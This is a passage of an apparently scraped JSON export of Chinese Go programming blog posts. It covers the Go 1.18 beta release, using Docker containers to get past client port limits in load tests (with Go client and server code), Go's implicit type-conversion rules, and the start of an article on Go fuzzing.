href=\"https://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review\"\u003ehttps://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"简要复盘\"\u003e简要复盘\u003c/h3\u003e\n\u003cp\u003e12月15日早上，手机收到知识星球app的一条推送信息，提示我的星球“Gopher部落”迎来了第100位星友：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-tribe-first-anniversary-review-2.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e我这才想起来\u003ca href=\"https://tonybai.com/2020/11/22/zssq-gopher-tribe-born\"\u003eGopher部落星球\u003c/a\u003e已经创建满一年了。从上面的星球名片来看，准确来说是390多天。在这390多天中，我发表了528条主题，在每周的星球排行榜中也名列前茅，下面是知识星球周一推送的星球周报，我的战力处在在前20%^_^。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-tribe-first-anniversary-review-3.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e经过这一年来的“试水”，Gopher部落聚集了100个星友，还有一些已关注但没有加入的星友，达到了我的预期。就我个人的精力而言，服务到300个星友是一个比较正常的状态，500个应该是天花板了，因此我也不求大，但求精。\u003c/p\u003e","title":"Gopher部落：简单复盘这一年"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/15/go-1-18-beta1\n北京时间今天凌晨，美国时间12月14日，Go核心团队技术负责人Russ Cox在Go官博发表文章《Go 1.18 Beta 1 is available, with generics》，正式宣布Go 1.18的第一个预览版Go 1.18 beta1发布！Go团队这次少见的通过官博来发布一个beta版本，足以证明Go团队对Go 1.18版本的重视，毕竟Go 1.18是Go自诞生以来最大的一次语法变动，Go团队希望Go社区的gopher们广泛参与公测，在Go 1.18版本发布之前尽可能多地找出版本中存在的bug。\n这里简单翻译一下这篇官博，正文如下。\n我们刚刚发布了Go 1.18 Beta 1，你可以通过访问下载页面获得该版本。\nGo 1.18的正式发布还需要几个月的时间。这是Go 1.18的第一个预览版，目的是让你试一试，用一用，并让我们知道你遇到了什么问题。Go 1.18 Beta 1代表了Google的整个Go团队和世界各地的Go贡献者的大量工作，我们很高兴听到你的想法。\nGo 1.18 Beta 1是第一个预览版，包含Go对使用参数化类型(parameterized type)的泛型代码的新支持。泛型是Go 1发布以来最重要的变化，当然也是我们有史以来最大的单一语言变化。对于引入这类影响较大的新特性，期待新用户发现新的错误是很常见的，泛型特性也不例外；我们一定要以适当的谨慎态度对待它们。另外，某些微妙的情况，例如特定种类的递归泛型，已经被推迟到未来的版本。也就是说，我们知道一些早期采用者已经相当满意，如果你有你认为特别适合泛型的用例，我们希望你能试一试。我们已经发布了一个关于如何开始使用泛型的简短教程，并在上周的GopherCon上做了一个演讲。你甚至可以在Go开发分支模式下的Go playground上尝试泛型。\nGo 1.18 Beta1 增加了对编写基于模糊测试的内置支持，以自动查找导致程序崩溃或返回无效答案的输入。\nGo 1.18 Beta1增加了一个新的“Go工作区模式”，让你可以同时处理多个Go module，这对大型项目来说是一个重要的使用案例。\nGo 1.18 Beta 1包含一个扩展的go version -m命令，它现在可以记录编译器flag等构建细节。程序可以使用debug.ReadBuildInfo查询自己的构建细节，现在也可以使用新的debug/buildinfo包从其他二进制文件读取构建细节。这一功能旨在为任何需要为Go二进制文件制作软件材料清单（SBOM）的工具奠定基础。\n今年早些时候，Go 1.17增加了一个新的基于寄存器的调用约定，以加快X86-64系统上的Go代码。Go 1.18 Beta1将这一功能扩展到了ARM64和PPC64，使其速度提高了20%之多。\n感谢所有为这个测试版做出贡献的人，特别是感谢谷歌的团队，他们多年来一直在为实现泛型而不懈努力。这是一条漫长的道路，我们对结果非常满意，我们希望你也喜欢它。\n更多细节请参见Go 1.18的完整发布说明草案。\n像往常一样，特别是对于测试版，如果你发现任何问题，请提交一个问题。\n我们希望你喜欢测试这个测试版，并希望你在2021年的剩余时间里都有一个安逸的生活。节日快乐!\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/15/go-1-18-beta1/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-18-beta1-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/15/go-1-18-beta1\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/12/15/go-1-18-beta1\"\u003ehttps://tonybai.com/2021/12/15/go-1-18-beta1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e北京时间今天凌晨，美国时间12月14日，Go核心团队技术负责人Russ Cox在Go官博发表文章\u003ca href=\"https://go.dev/blog/go1.18beta1\"\u003e《Go 1.18 Beta 1 is available, with generics》\u003c/a\u003e，正式宣布Go 1.18的第一个预览版Go 1.18 beta1发布！Go团队这次少见的通过官博来发布一个beta版本，足以证明Go团队对Go 1.18版本的重视，毕竟Go 1.18是\u003ca href=\"https://time.geekbang.org/column/article/426265\"\u003eGo自诞生以来\u003c/a\u003e最大的一次语法变动，Go团队希望Go社区的gopher们广泛参与公测，在Go 1.18版本发布之前尽可能多地找出版本中存在的bug。\u003c/p\u003e","title":"Go 1.18 Beta1版本发布，支持泛型[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/14/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client\n近期的一个项目刚刚完成了第一个版本的开发，经过一段时间的自测与集成测试，功能问题已经不是重点了。项目在初期设定了性能目标，压测与性能优化势在必行，因此这一阶段我们都在做压测前的准备，包括压测方案、环境部署、各种工具的开发等。在互联网大厂的一波接着一波的熏陶与教育下，但凡一个有点用户量的系统，交付前不压测与优化一下，似乎都不好意思上线^_^。\n压测准备阶段逃不过“模拟并发连接数量”这一环节，我们第一次压测设定的系统运行背景是100w的并发长连接。那么怎么构造出这么多的并发连接呢？有经验的朋友可能知道这句话中隐含的“难点”，那就是一个客户机最多向外面建立65535-1024+1=64512个连接。为什么会这样呢？这是因为一个TCP连接由一个四元组唯一确定，这个四元组是**（源端口，源地址，目的地址，目的端口）**。这个四元组中的源端口是一个16bit的短整型，它的表示范围是0~65535。但1024及以下的端口号通常为系统保留，因此用户可用的端口号仅剩下64512个。\n当一个客户机向服务端建立TCP连接时，四元组中的目的地址、目的端口是固定的，客户机通常只有一个IP地址，这样源地址也是固定的，于是唯一的变数就是源端口了。而源端口在这种情况下仅有64512种变化，因此客户机向外建立的连接数量也就受到了限制。\n于是有人想到了Docker容器。由于容器具有独立的网络命名空间以及独立的IP地址，这样容器可以向外建立的连接就不受到宿主机的限制，真的是这样么？\n下面我们在一台宿主机上用多个容器模拟的“客户机”向该宿主机上的一个Server程序建立连接，我们看是否能突破6w壁垒。下面是server端程序的代码(仅作示例，勿要深究)：\n// https://github.com/bigwhite/experiments/tree/master/break-out-of-6w-ports/server/server.go func main() { l, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;0.0.0.0:9000\u0026#34;) if err != nil { fmt.Println(\u0026#34;error listening:\u0026#34;, err.Error()) return } defer l.Close() fmt.Println(\u0026#34;listen ok\u0026#34;) var mu sync.Mutex var count int for { conn, err := l.Accept() if err != nil { fmt.Println(\u0026#34;error accept:\u0026#34;, err) return } fmt.Printf(\u0026#34;recv conn from [%s]\\n\u0026#34;, conn.RemoteAddr()) go func(conn net.Conn) { var b = make([]byte, 10) for { _, err := conn.Read(b) if err != nil { e, ok := err.(net.Error) if ok { if e.Timeout() { continue } } mu.Lock() count-- mu.Unlock() return } } }(conn) mu.Lock() count++ mu.Unlock() fmt.Println(\u0026#34;total count =\u0026#34;, count) } select {} } 这个server程序运行于宿主机上(宿主机的各个资源参数需要你自行调整，比如：/proc/sys/fs/file-max、/proc/sys/fs/nr_open等，可参考这里)，并监听9000端口，每accept一个来自客户机的TCP连接，就会创建一个goroutine来处理这个TCP连接。\n客户机模拟客户端连接的程序如下：\n// https://github.com/bigwhite/experiments/tree/master/break-out-of-6w-ports/client/client.go func main() { var count = 25000 for i := 0; i \u0026lt; count; i++ { go func() { conn, err := net.Dial(\u0026#34;tcp\u0026#34;, \u0026#34;192.168.49.6:9000\u0026#34;) // 192.168.49.6是宿主机地址 if err != nil { fmt.Println(\u0026#34;net.Dial error:\u0026#34;, err) return } for { _, err := conn.Write([]byte(\u0026#34;ping\u0026#34;)) if err != nil { fmt.Println(\u0026#34;conn.Write error:\u0026#34;, err) return } time.Sleep(100 * time.Second) } }() } select {} } 从代码中可以看到，每个客户机客户端程序会向服务端建立25000个TCP长连接。这里将client端放入基于alpine:3.14.2 image的容器中运行，容器中每个程序可以对外建立的连接数量我们可以通过下面命令的输出计算出来：\n$ docker run alpine:3.14.2 cat /proc/sys/net/ipv4/ip_local_port_range 32768 60999 \u0026gt; 60999-32768+1 28232 代码中每个client建立25000个连接，在28232范围之内，正常建立全部连接不是问题。实际的试验结果也证明了这一点：我们启动server后，逐一用下面命令启动多个client：\n$go build client.go $docker run -v /Users/tonybai/Go/src/github.com/bigwhite/experiments/break-out-of-6w-ports/client/client:/root/client alpine:3.14.2 /root/client 创建三个client后，我们很快就能看到Server端完成了75000个连接的创建：\nlisten ok recv conn from [172.17.0.2:50238] ... ... recv conn from [172.17.0.4:35202] total count = 74997 recv conn from [172.17.0.4:35282] total count = 74998 recv conn from [172.17.0.4:33168] total count = 74999 recv conn from [172.17.0.4:44703] total count = 75000 我们看到，在同一个宿主机上利用容器充当客户端我们轻松突破客户端可用端口的限制。\n那么如果server程序在另外的一个主机上呢? 我们是否还可以这么顺利的建立如此多的连接呢？我们来试一下，执行的命令与过程与上面大致相同，但server端在建立64000左右连接后，无论再加入几个client向服务端建立连接，server端的总连接数也不会向上了。你或许怀疑server端程序有问题？其实不是，此时如果你在另外一台机器上向server建立连接，连接可以很快的建立成功。\n问题还是出在了Docker所在的那台宿主机上了。为什么各个客户端建立不上连接了呢？从server端的一些输出日志可见端倪：\n// 192.168.49.6是客户端所在宿主机的ip地址 recv conn from [192.168.49.6:11431] total count = 64001 recv conn from [192.168.49.6:28365] total count = 64002 我们看到无论docker容器内ip地址是多少，从宿主机连出来后的ip都是192.168.49.6（宿主机的ip地址），默认情况下，Docker容器访问宿主机外部的主机时，其源地址和端口都会被SNAT成宿主机的IP及某一个随机端口，下面是一个简略的SNAT转换表：\n我们看到docker中的请求经过NAT后其源ip转换为宿主机的源ip地址192.168.49.6，源端口为宿主机的一个随机端口(102465535范围内)。客户端发出请求后，server端处理并返回响应，响应回到宿主机后，NAT会根据上面的转换表，根据nat后的源ip、nat后的源port、目的ip和目的port找到唯一的源ip和源port，并将替换数据包中相应的字段，这样数据包才能返回给对应的容器中的客户端程序。这样当目的ip、目的port以及nat后的源ip都是“固定值”的情况下，就只能要求nat后的源port不能重复，而nat后的源port的可选范围却只能为102465535，当nat后的源port耗尽，容器中的客户端程序就再也无法与server建立新连接了。\n我们再重新审视一下nat转换表，nat后的源port是自动分配的，目的port是知名port，不能变化，剩下的只有nat后的源ip地址与目的ip地址是可变动的要素。每新增一种nat后的源ip或目的ip，都可以新增加64521(65535-1024+1)个到server端的TCP连接容量。\n下面我们就以添加多个目的ip的方式为例，看看docker如何突破6w可用端口的约束。我们的server服务器是一台ubuntu 20.04的虚拟机，我们可以通过修改netplan配置的方式为enp0s8网卡（连接内部网络, ip为192.168.49.5）添加额外两个ip：192.168.49.15和192.168.49.25。\n$ cat /etc/netplan/00-installer-config.yaml # This is the network config written by \u0026#39;subiquity\u0026#39; network: ethernets: enp0s3: addresses: [10.0.2.15/24] gateway4: 10.0.2.2 nameservers: addresses: [8.8.8.8,127.0.0.53] dhcp4: no enp0s8: addresses: [192.168.49.5/24,192.168.49.15/24,192.168.49.25/24] gateway4: 192.168.49.1 nameservers: addresses: [8.8.8.8,127.0.0.53] dhcp4: no version: 2 执行sudo netplan apply后，我们可以看到enp0s8网口上配置的三个ip信息如下，\n3: enp0s8: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:f1:bb:67 brd ff:ff:ff:ff:ff:ff inet 192.168.49.5/24 brd 192.168.49.255 scope global enp0s8 valid_lft forever preferred_lft forever inet 192.168.49.15/24 brd 192.168.49.255 scope global secondary enp0s8 valid_lft forever preferred_lft forever inet 192.168.49.25/24 brd 192.168.49.255 scope global secondary enp0s8 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fef1:bb67/64 scope link valid_lft forever preferred_lft forever 现在我们将按下图所示通过docker向server建立75000个连接(每个容器建立25000个)：\n我们改造一下server程序，让其不仅输出RemoteAddr，还要输出LocalAddr：\n// https://github.com/bigwhite/experiments/tree/master/break-out-of-6w-ports/server/server1.go fmt.Printf(\u0026#34;recv conn from [%s], localaddr: [%s]\\n\u0026#34;, conn.RemoteAddr(), conn.LocalAddr()) 为了方便向client传入要连接的server的地址，我们也改造一下client：\n// https://github.com/bigwhite/experiments/tree/master/break-out-of-6w-ports/client/client_with_remoteaddr.go var remoteIP string func init() { flag.StringVar(\u0026amp;remoteIP, \u0026#34;rip\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;remoteIP\u0026#34;) } func main() { flag.Parse() var count = 25000 for i := 0; i \u0026lt; count; i++ { go func() { conn, err := net.Dial(\u0026#34;tcp\u0026#34;, remoteIP+\u0026#34;:9000\u0026#34;) if err != nil { fmt.Println(\u0026#34;net.Dial error:\u0026#34;, err) return } for { _, err := conn.Write([]byte(\u0026#34;ping\u0026#34;)) if err != nil { fmt.Println(\u0026#34;conn.Write error:\u0026#34;, err) return } time.Sleep(100 * time.Second) } }() } select {} } 接下来我们就将新client放入容器中执行，并分别用三个remote ip向server建立连接：\n$go build -o client client_with_remoteaddr.go $docker run -v /Users/tonybai/Go/src/github.com/bigwhite/experiments/break-out-of-6w-ports/client/client:/root/client alpine:3.14.2 /root/client -rip 192.168.49.5 $docker run -v /Users/tonybai/Go/src/github.com/bigwhite/experiments/break-out-of-6w-ports/client/client:/root/client alpine:3.14.2 /root/client -rip 192.168.49.15 $docker run -v /Users/tonybai/Go/src/github.com/bigwhite/experiments/break-out-of-6w-ports/client/client:/root/client alpine:3.14.2 /root/client -rip 192.168.49.25 我们很快就在server的log中看到所有连接都建立成功了：\n... ... recv conn from [192.168.49.6:43505], localaddr: [192.168.49.25:9000] total count = 74998 recv conn from [192.168.49.6:43483], localaddr: [192.168.49.25:9000] total count = 74999 recv conn from [192.168.49.6:47790], localaddr: [192.168.49.25:9000] total count = 75000 并且当我们以37816这个端口为例，我们查询一下日志：\n$ grep 37816 server.log recv conn from [192.168.49.6:37816], localaddr: [192.168.49.5:9000] recv conn from [192.168.49.6:37816], localaddr: [192.168.49.15:9000] recv conn from [192.168.49.6:37816], localaddr: [192.168.49.25:9000] 我们看到有三个来自192.168.49.6:37816的连接，但目的地址均不相同，这也印证了我们的分析是正确的。\n以上就是对使用docker突破客户端可用端口的限制的误区的分析，所谓的误区即当客户端与server在同一台宿主机上可突破6w端口，就认为客户端与server在不同主机上时不需做任何改变也同样可以突破6w。上面的分析证实了我们要么增加服务端的ip，要么增加客户端的ip，或对两者的ip进行同时增加，后两个情况大家可以自行进行试验，这里就不赘述了。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/14/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client-1.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/14/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/12/14/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client\"\u003ehttps://tonybai.com/2021/12/14/the-misconception-of-using-docker-to-break-out-of-6w-ports-of-the-client\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期的一个项目刚刚完成了第一个版本的开发，经过一段时间的自测与集成测试，功能问题已经不是重点了。项目在初期设定了性能目标，压测与性能优化势在必行，因此这一阶段我们都在做压测前的准备，包括压测方案、环境部署、各种工具的开发等。在互联网大厂的一波接着一波的熏陶与教育下，\u003cstrong\u003e但凡一个有点用户量的系统，交付前不压测与优化一下，似乎都不好意思上线^_^\u003c/strong\u003e。\u003c/p\u003e","title":"使用Docker容器突破客户端6w可用端口的误区"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/02/go-has-implicit-type-convertion\n我的极客时间专栏《Go语言第一课》上线后收到了很多学员的反馈，大家提出了很多显然是经过认真思考的高水平问题。有些时候我也会被这些问题所“难倒”，比如昨天我在后台看到的这个问题。\n我把这个问题整理为下面代码文本，方便大家copy和重现问题：\npackage main type MyInt int type MyMap map[string]int func main() { var x MyInt var y int x = y // 会报错: cannot use y (type int) as type MyInt in assignment _ = x var m1 MyMap var m2 map[string]int m1 = m2 // 不会报错 m2 = m1 // 不会报错 } 结合上面代码，我将这位学员的问题重新描述一下：MyInt与int是不同的两个类型，MyMap与map[string]int也是不同的两个类型，为何将int型变量赋值给MyInt型变量时需要做显式转型，而将map[string]int变量赋值给MyMap型变量就不需要显式转型呢？\n我们知道：Go是强调类型安全的静态编译型语言，在Go语言中，不同类型变量是不能在一起进行混合计算的，这是因为Go希望开发人员明确知道自己在做什么，这与C语言的“信任程序员”原则完全不同，因此你需要以显式的方式通过转型统一参与计算各个变量的类型。 比如：上面问题中MyInt虽然底层类型(underlying type)是int，但MyInt与int是两个不同的类型，因此它们之间的相互赋值需要通过显式转型来进行，否则Go编译器将报错，这个没有任何疑问。\n估计此时大家也都会异口同声的问：那“m1 = m2”呢？为何这一句不需要显式转型呢？MyMap的底层类型是map[string]int，但MyMap与map[string]int也是两个不同的类型啊！千万不要告诉我：int与map[string]int这两个原生类型的待遇有不同！\n事实上这个问题的关键就在于int与map[string]int的确有不同。\n在Go中，我们定义一个类型一般通过type关键字进行，比如：\ntype T1 int type T2 T1 在Go中，使用上述类型声明语句定义的类型T1、T2被称为defined type，中文称为“具定义类型”。在type alias加入Go之前，这种类型还被称为named type（具名类型），顾名思义，这个类型是有名字的。这个其实也很好理解。但问题的关键是Go语言的原生类型是否都是defined type。\n好在Go语言规范中对各个内置的原生类型做了明确规定：\n所有数值类型都是defined type；(这里面就包含int) 字符串类型string是defined type； 布尔类型bool是defined type。 就这些，没了？没了！这就意味着map、数组、切片、结构体、channel等原生复合类型(composite type)都不是defined type。\n我们离真相越来越近了！我们再回到最初的问题中。int与MyInt都是defined type，因此它们两者之间相互赋值是需要显式转型的。map[string]int不是defined type，MyMap是defined type，那么它们直接的赋值是怎么规定的呢？\nGo语言规范中关于Assignability的规则中有下面这一条规定：\nx\u0026#39;s type V and T have identical underlying types and at least one of V or T is not a defined type. 如果x的类型V与类型T具有相同的底层类型，并且V和T至少有一个不是defined type，那么x可以赋值给类型T的变量。 我们用问题中的代码来套一下这个规则。我们有一个MyMap类型的变量m1，MyMap类型与map[string]int类型具有相同的底层类型map[string]int，并且map[string]int类型不是一个defined type，那么我们可以将m1直接赋值给map[string]int类型的变量m2，反之亦可。\n到这里，上面的问题算是解答完毕了。我们再来扩展一下，看一些Go其他原生但非defined type的类型赋值的例子，例子中这些赋值都不会报编译错误：\npackage main type MyMap map[string]int type MySlice []byte type MyArray [10]int type MyStruct struct { a int b string } type MyChannel chan int func main() { var m1 MyMap var m2 map[string]int m1 = m2 // 不会报错 m2 = m1 // 不会报错 var sl1 MySlice var sl2 []byte sl1 = sl2 // 不会报错 sl2 = sl1 // 不会报错 var arr1 MyArray var arr2 [10]int arr1 = arr2 // 不会报错 arr2 = arr1 // 不会报错 var s1 MyStruct var s2 struct { a int b string } s1 = s2 // 不会报错 s2 = s1 // 不会报错 var c1 MyChannel var c2 chan int c1 = c2 // 不会报错 c2 = c1 // 不会报错 } 对于上面这种在底层类型相同且至少有一个类型不是defined type的两个类型变量间赋值的情况，是不是很眼熟。没错，它和Go的无类型常量隐式转型十分相似，虽然背后的原理是不同的：\ntype MyInt int const a = 1234 var n MyInt = a Go总体来说是推崇显式哲学的，那怎么来理解这种隐式转型呢？我觉得至少有两点：\n首先这种转型更多是在编译器保证类型安全性的前提下进行的，不会出现溢出或未定义行为。\n其次，这种隐式转型一定程度减少了代码输入，对开发体验的提升有帮助。\n最后，感谢《Go语言101》作者老貘兄在这个问题上给予我的点拨，国内在Go语言语法细节上理解最到位最深入的人非老貘兄莫属^_^。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/02/go-has-implicit-type-convertion/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-has-implicit-type-conversion-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/02/go-has-implicit-type-convertion\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/12/02/go-has-implicit-type-convertion\"\u003ehttps://tonybai.com/2021/12/02/go-has-implicit-type-convertion\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我的极客时间专栏\u003ca href=\"https://mp.weixin.qq.com/s/xg_jnbRPqaolNksNLjStRw\"\u003e《Go语言第一课》上线\u003c/a\u003e后收到了很多学员的反馈，大家提出了很多显然是经过认真思考的高水平问题。有些时候我也会被这些问题所“难倒”，比如昨天我在后台看到的这个问题。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-has-implicit-type-conversion-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e我把这个问题整理为下面代码文本，方便大家copy和重现问题：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epackage main\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etype MyInt \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etype MyMap map[string]\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e main() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e x MyInt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e y \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    x \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e y     \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e会报错\u003c/span\u003e: cannot use y (type \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e) as type MyInt \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e assignment\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    _ \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e x \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e m1 MyMap\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e m2 map[string]\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    m1 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e m2 \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e不会报错\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    m2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e m1 \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e不会报错\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e结合上面代码，我将这位学员的问题重新描述一下：\u003cstrong\u003eMyInt与int是不同的两个类型，MyMap与map[string]int也是不同的两个类型，为何将int型变量赋值给MyInt型变量时需要做显式转型，而将map[string]int变量赋值给MyMap型变量就不需要显式转型呢\u003c/strong\u003e？\u003c/p\u003e","title":"惊了！原来Go语言也有隐式转型"},{"content":"\n本文永久链接 – https://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18\n今年6月初，Go官博发表了一篇名为《Fuzzing is Beta Ready》的文章，文中称gotip版本已经原生支持Fuzzing并开始了公测。这意味着Fuzzing将以一等公民(first-class citizen)的身份正式加入到即将于2022年2月发布的Go 1.18版本中：\n图：关于add fuzz test的issue已经关闭并放入Go1.18里程碑\n有了对Fuzzing技术的原生支持后，我相信会有更多代码经过Fuzzing测试，未来不久Go社区的Go代码的安全水平将会得到整体提升。本文我们就来简单聊聊Fuzzing这个Go 1.18版本的新特性。\n注意：在Go 1.18版本Beta版发布前要想体验Fuzzing特性，需要自行安装gotip版本，安装方法如下：\n$go install 